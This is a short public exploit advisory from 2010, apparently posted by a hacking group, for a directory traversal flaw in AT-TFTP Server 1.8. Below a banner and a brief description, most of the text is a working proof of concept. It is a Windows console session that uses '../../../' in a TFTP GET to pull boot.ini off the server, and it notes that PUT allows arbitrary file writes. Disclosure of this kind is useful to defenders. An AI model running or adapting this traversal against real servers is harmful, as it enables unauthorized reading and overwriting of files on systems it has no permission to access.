AT-TFTP Server 1.8 Directory Traversal

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# (_)____ _ __/ __ \/ /_____ ____/ / _/_/ |  
# / // __ \ | / / / / / //_/ _ \/ __ / / / / /  
# / // / / / |/ / /_/ / ,< / __/ /_/ / / / / /  
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/ / /_/_/   
# Live by the byte |_/_/   
#  
# Members:  
#  
# Pr0T3cT10n  
# -=M.o.B.=-  
# TheLeader  
# Sro  
# Debug  
#  
# Contact: [email protected]  
#  
# -----------------------------------  
# AT-TFTP Server is vulnerable for a path traversal, the following will explain you how to read & write files  
# The vulnerability allows an unprivileged attacker to read & write files whom he has no permissions to.  
# The vulnerable TFTP commands are:  
# * GET - Read File  
# * PUT - Write File  
#-----------------------------------  
# Vulnerability Title: AT-TFTP Server v1.8 Remote Directory Traversal Vulnerability  
# Date: 05/11/2010  
# Author: Pr0T3cT10n  
# Software Link: http://www.alliedtelesis.co.nz/support/rapier/downloads/at-tftpd.exe  
# Affected Version: 1.8  
# Tested on Windows XP Hebrew, Service Pack 3  
# ISRAEL, NULLBYTE.ORG.IL  
###  
Microsoft Windows XP [Version 5.1.2600]  
(C) Copyright 1985-2001 Microsoft Corp.  
  
C:\Documents and Settings\Admin>tftp  
  
Transfers files to and from a remote computer running the TFTP service.  
  
TFTP [-i] host [GET | PUT] source [destination]  
  
-i Specifies binary image transfer mode (also called  
octet). In binary image mode the file is moved  
literally, byte by byte. Use this mode when  
transferring binary files.  
host Specifies the local or remote host.  
GET Transfers the file destination on the remote host to  
the file source on the local host.  
PUT Transfers the file source on the local host to  
the file destination on the remote host.  
source Specifies the file to transfer.  
destination Specifies where to transfer the file.  
  
  
C:\Documents and Settings\Admin>tftp -i 127.0.0.1 GET ../../../boot.ini C:\boot.txt  
  
Transfer successful: 221 bytes in 1 second, 221 bytes/s  
  
C:\Documents and Settings\Admin>type c:\boot.txt  
[boot loader]  
timeout=30  
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS  
[operating systems]  
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"  
/noexecute=optin /fastdetect  
  
C:\Documents and Settings\Admin>  
  
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